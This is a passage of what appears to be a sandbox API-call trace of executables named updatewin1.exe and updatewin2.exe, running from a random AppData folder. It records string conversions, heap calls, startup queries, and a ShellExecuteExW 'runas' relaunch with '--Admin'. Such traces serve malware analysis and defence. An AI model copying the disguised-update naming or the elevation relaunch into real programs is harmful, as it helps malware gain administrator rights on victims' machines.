lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xbe\xa4\xd2\xe6\x48\xf5\x18", lpUsedDefaultChar=0x0) returned 256 [0047.958] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0047.958] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x18eb68, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0047.958] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0047.958] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18e958, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0047.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x18f20c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xbe\xa4\xd2\xe6\x48\xf5\x18", lpUsedDefaultChar=0x0) returned 256 [0047.959] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0x80) returned 0x2aa0d0 [0047.959] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x416cb8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin1.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin1.exe")) returned 0x5f [0047.959] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0xc8) returned 0x2ac160 [0047.959] RtlInitializeSListHead (in: ListHead=0x416bd8 | out: ListHead=0x416bd8) [0047.959] GetLastError () returned 0x0 [0047.959] SetLastError (dwErrCode=0x0) [0047.959] GetEnvironmentStringsW () returned 0x2ac230* [0047.959] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0xaca) returned 0x2acd08 [0047.959] FreeEnvironmentStringsW (penv=0x2ac230) returned 1 [0047.959] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x98) returned 0x2ac230 [0047.959] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x3e) returned 0x2ad7f8 [0047.961] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x6c) returned 0x2ac2d0 [0047.961] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x6e) returned 0x2ac348 [0047.961] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x78) returned 0x291180 [0047.961] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x62) returned 0x2ac3c0 [0047.961] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x2e) returned 0x2952d0 [0047.961] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x48) returned 0x2ac430 [0047.961] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x28) returned 0x2aa158 [0047.961] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x1a) returned 0x2abd10 [0047.961] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x4a) returned 0x2ac480 [0047.961] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x72) returned 0x291200 [0047.961] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x30) returned 0x295308 [0047.961] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x2e) returned 0x295340 [0047.962] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x1c) returned 0x2abd38 [0047.962] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0xd2) returned 0x2ac4d8 [0047.963] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x7c) returned 0x2ac5b8 [0047.963] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x36) returned 0x2ac640 [0047.963] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x3a) returned 0x2ad840 [0047.963] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x90) returned 0x2ac680 [0047.963] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x24) returned 0x2ac718 [0047.963] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x30) returned 0x295378 [0047.963] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x36) returned 0x2ac748 [0047.963] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x48) returned 0x2ac788 [0047.963] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x52) returned 0x2ac7d8 [0047.963] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x3c) returned 0x2ad888 [0047.963] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x82) returned 0x2ac838 [0047.963] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x2e) returned 0x2953b0 [0047.963] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x1e) returned 0x2abd60 [0047.963] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x2c) returned 0x2953e8 [0047.963] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x54) returned 0x2ac8c8 [0047.963] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x52) returned 0x2ac928 [0047.963] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x2a) returned 0x295420 [0047.963] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x3c) returned 0x2ad8d0 [0047.963] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x54) returned 0x2ac988 [0047.963] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x24) returned 0x2ac9e8 [0047.963] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x30) returned 0x295458 [0047.963] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8c) returned 0x2aca18 [0047.963] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x2acd08 | out: hHeap=0x280000) returned 1 [0047.964] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x800) returned 0x2acab0 [0047.964] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0047.964] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x402ae4) returned 0x404e59 [0047.964] GetStartupInfoW (in: lpStartupInfo=0x18f578 | out: lpStartupInfo=0x18f578*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0047.964] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin1.exe\" " [0047.964] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin1.exe\" ", pNumArgs=0x18e580 | out: pNumArgs=0x18e580) returned 0x2ad2b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin1.exe" [0047.964] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0xc0) returned 0x2ad388 [0047.964] lstrcpyW (in: lpString1=0x18e5a0, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin1.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin1.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin1.exe" [0047.964] PathRemoveFileSpecW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin1.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598") returned 1 [0047.964] lstrcpyW (in: lpString1=0x18eda0, lpString2="--Admin" | out: lpString1="--Admin") returned="--Admin" [0047.964] ShellExecuteExW (in: pExecInfo=0x18e528*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin1.exe", lpParameters="--Admin", lpDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598", nShow=5, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x18e528*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin1.exe", lpParameters="--Admin", lpDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598", nShow=5, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0048.530] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x2ad388 | out: hHeap=0x280000) returned 1 [0048.530] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0048.530] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0048.530] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x2aa0d0 | out: hHeap=0x280000) returned 1 [0048.531] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x2acab0 | out: hHeap=0x280000) returned 1 [0048.531] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-2", hFile=0x0, dwFlags=0x800) returned 0x0 [0048.531] GetLastError () returned 0x57 [0048.531] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18f56c | out: phModule=0x18f56c) returned 0 [0048.531] ExitProcess (uExitCode=0x0) [0048.531] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x2aa9e8 | out: hHeap=0x280000) returned 1 [0048.534] TerminateProcess (hProcess=0xffffffff, uExitCode=0x0) Thread: id = 50 os_tid = 0x6e4 Thread: id = 51 os_tid = 0x354 Thread: id = 52 os_tid = 0x114 Thread: id = 53 os_tid = 0x7a0 Process: id = "7" image_name = "updatewin2.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin2.exe" page_root = "0x45a4f000" os_pid = "0x78c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x714" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin2.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 49 os_tid = 0x5d0 [0047.970] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0xdb225b0, dwHighDateTime=0x1d53559)) [0047.970] GetCurrentProcessId () returned 0x78c [0047.970] GetCurrentThreadId () returned 0x5d0 [0047.970] GetTickCount () returned 0x1ac93 [0047.971] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=16824525742) returned 1 [0047.982] GetStartupInfoA (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin2.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0047.982] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x500000 [0047.983] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0047.983] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0047.983] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0047.983] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0047.983] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0047.983] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0047.983] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0047.984] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0047.984] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0047.984] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0047.984] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0047.984] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0047.984] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0047.984] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0047.984] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0047.984] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0047.985] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0047.985] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0047.985] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0047.985] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0047.985] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0047.985] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x214) returned 0x5007d0 [0047.985] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0047.985] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0047.986] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0047.986] GetProcAddress (hModule=0x76c20000, 